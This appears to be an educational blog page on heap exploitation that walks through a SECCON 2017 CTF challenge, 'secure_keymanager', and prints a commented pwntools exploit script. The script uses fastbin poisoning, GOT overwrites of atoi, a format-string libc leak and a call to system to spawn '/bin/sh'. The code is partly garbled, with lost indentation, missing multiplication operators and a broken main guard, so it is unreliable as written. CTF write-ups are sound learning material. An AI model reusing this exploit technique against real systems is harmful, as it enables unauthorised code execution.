Heap Exploitation

There are a lot of methods of exploiting heap inside a program, and all of them require a certain condition to be met. But first, we'll have to cover the basics before understanding heap further.

What is it?

A heap is a place in memory where we can store a value or data dynamically, which means the program will grant us a block or chunk with a size that match our request automatically. The data is stored in a region accessible everywhere throughout the program, while storing the pointers to the heap in a variable. This method allows us to request and release the chunks everywhere in the program, regardless of the scope.

How does it work?

There is no exact way to do a heap exploitation. The way may vary according to the specification and usage of the program, but in general, the main exploitation revolves in overwriting the pointers that links to the next chunk (since heap is based on a data structure) with a pointer that will link to our own chunk (or the one already in memory) hence changing the program flow. To understand heap better, you must first learn about how the data structure works, the internals of malloc () and free (), and how a heap behaves in general. I'll try explaining the required details, but the complete details must be understood beforehand.

Write-up Analysis

Original write-up: https://kileak.github.io/ctf/2017/SECCON2017-secure_keymanager/

Original challenge: https://drive.google.com/open?id=1xJjRW0ztiJG4BN1pEl7Cocgr1JEA1mrx

Here we go

This challenge features a binary with a vulnerability that allows user to input a negative integer on malloc(), thereby allowing the top chunk to be corrupted via heap overflow.

The attack plan would be:

  • Creating a fake chunk to overwrite BSS section later on.
  • Create overlapping freed chunk.
  • Overflow the fastbin's FD pointer through the overlapping freed chunk to point into our fake chunk.
  • Overwrite the BSS section.
  • Changing atoi () into printf () to create a format string vulnerability.
  • Leak libc address to know where the system () is located.
  • Changing atoi () into system ().
  • Spawn a shell.

The fake chunk we need to create only needs to be zero bytes in value so we can overwrite the value of memory address on the chunk right after it.

After that we need to create two more chunks with the same size. One will be put inside a fastbin, the other will be enlarged so that it will overlap with the previous chunk (which is on the fastbin when freed) allowing us to overwrite fastbin's FD pointer later. Since it will be larger due to the result of the enlargement, it will be put inside the unsorted bin.

By overwriting fastbin's FD pointer with our fake chunk address, we only need to change the title and key of the first array (the evil chunk) to point to GOT table and overwrite the atoi () with printf ().

Having printf () instead of atoi () will give us a format string vulnerability, which will allow us to leak the libc address and get the address of system ().

When all is done, we can overwrite atoi () one more time with system () so we can spawn the shell.

The rest is explained with the original writeu-up below, with additional comments from me.

!/usr/bin/python

from pwn import *
import sys

HOST = "secure_keymanager.pwn.seccon.jp"
PORT = 47225

ACCOUNT = "A"  8 + p16(0x71)                 # creating the account + the size of fake chunk
PASS = "B"  8 + "\x00"

def add_key(len, title, key):
   r.sendline("1")
   r.sendlineafter("...", str(len))          # send length of the key
   r.sendlineafter("...", title)             # send title of the key

if (key != ""):
   r.sendlineafter("...", key)

r.recvuntil(">> ")
def remove_key(idx):
   r.sendline("4")
   r.sendafter(">> ", ACCOUNT)
   r.sendafter(">> ", PASS)
   r.sendlineafter("...", str(idx))

r.recvuntil(">> ")
def edit_key(idx, new_key, fakeAtoi=False):  # if fakeAtoi is true, that means the atoi has already been 
   if fakeAtoi:                              # tampered with printf(), changing all integers to a string with 
       r.sendline("...")                     # the length ofsaid integers because printf() returns 
   else:                                     # the length of string
       r.sendline("3")

r.sendafter(">> ", ACCOUNT)
r.sendafter(">> ", PASS)

if fakeAtoi:
   r.sendlineafter("...", "."*idx)        
else:
   r.sendlineafter("...", str(idx))

r.sendlineafter("...", new_key)

r.recvuntil(">> ")
def exploit(r):
   r.sendafter(">> ", ACCOUNT)
   r.sendafter(">> ", PASS)

r.recvuntil(">> ")

log.info("Create initial chunks (fastbins + blocker chunk)")
add_key(-32, "A" * 8, "")                            # 32 + newline will be translated into 0x21.
add_key(100 - 32, "B" * 30, "C" * (100 - 32 - 2))    # 100 is the limit for fastbin stored values.
add_key(100 - 32, "D" * 30, "E" * (100 - 32 - 2))    # the 32 - 2 will give 2 bytes for carriage return line feed.
add_key(400, "BLOCKER", "F"*100)                     # blocker will ensure we'll be taking this chunk from
                                                     # unsorted bin, instead of the top chunk. The 400 is the limit.

log.info("Recreate first chunk and overwrite second chunk metadata")
remove_key(0)                                        # free the chunk back into bin list

add_key(-32, "A" * 24 + p8(0xe1), "")                # reusing the previous chunk and overwrite the size header

log.info("Remove second chunk (creates overlapped freed chunk)")
remove_key(1)                                        # the enlargement starts here

log.info("Remove third chunk (put to fastbin list)")
remove_key(2)

log.info("Create overlapping chunk and overwrite fastbin FD")

payload = "A"*64
payload += p64(0) + p64(0x71)                        # Chunk 3 header
payload += p64(0x6020c0)                             # Chunk 3 FD, points to our fake chunk

add_key(184, "OVERWRITER", payload)                  # send our previous payload into the heap.
                                                     # the size is the size of our enlarged chunk in the
                                                     # unsorted bin, which will summon the previous
                                                     # huge chunk that overlap the chunk 3 inside the
                                                     # fastbin. The overwrite of FD pointer is here.

log.info("Create chunk to get fake FD into fastbin")    
add_key(100-32, "B"*30, "C")

log.info("Create chunk to overwrite pointer table")

payload1 = "A"*16
payload1 += p64(0x602030)           # key0
payload1 += p64(0xcafebabe)[:6]     # key1

payload2 = p64(0xcafebabe)          # key2
payload2 += p64(0xcafebabe)         # key3
payload2 += p64(0xcafebabe)         # key4 (unusable)
payload2 += p64(0xcafebabe)         # key5
payload2 += p64(0xcafebabe)         # key6
payload2 += p64(0xcafebabe)         # key7
payload2 += p64(0x0101010101010101) # keymap

add_key(100-32, payload1, payload2)

log.info("Overwrite atoi with printf plt")

newgot  = p64(e.plt["read"] + 6) + p64(e.plt["__libc_start_main"] + 6)
newgot += p64(e.plt["strcmp"] + 6) + p64(e.plt["malloc"] +6)
newgot += p64(e.plt["printf"] + 6)   

edit_key(0, newgot)

log.info("Leak LIBC with format string")

r.sendline("%3$p")
LIBCLEAK = int(r.recvline().strip(), 16)
r.recvuntil(">> ")

libc = ELF("./libc-2.23.so")
libc.address = LIBCLEAK - 0xf7230                 # 0xf7230 is the address of system offset on the machine

log.info("LIBC leak        : %s" % hex(LIBCLEAK))
log.info("LIBC             : %s" % hex(libc.address))

log.info("Overwrite atoi with system")

newgot  = p64(e.plt["read"] + 6) + p64(e.plt["__libc_start_main"] + 6)
newgot += p64(e.plt["strcmp"] + 6) + p64(e.plt["malloc"] +6)
newgot += p64(libc.symbols["system"])   

edit_key(0, newgot, True)

log.info("Send /bin/sh to trigger shell")
r.sendline("/bin/sh")

r.interactive()

return
if name == "main":
   e = ELF("./secure_keymanager")
if len(sys.argv) > 1:
   r = remote(HOST, PORT)
   exploit(r)
else:
   r = process("./secure_keymanager", env={"LD_PRELOAD": "./libc-2.23.so"})        
   print util.proc.pidof(r)
   pause()
   exploit(r)

results matching ""

    No results matching ""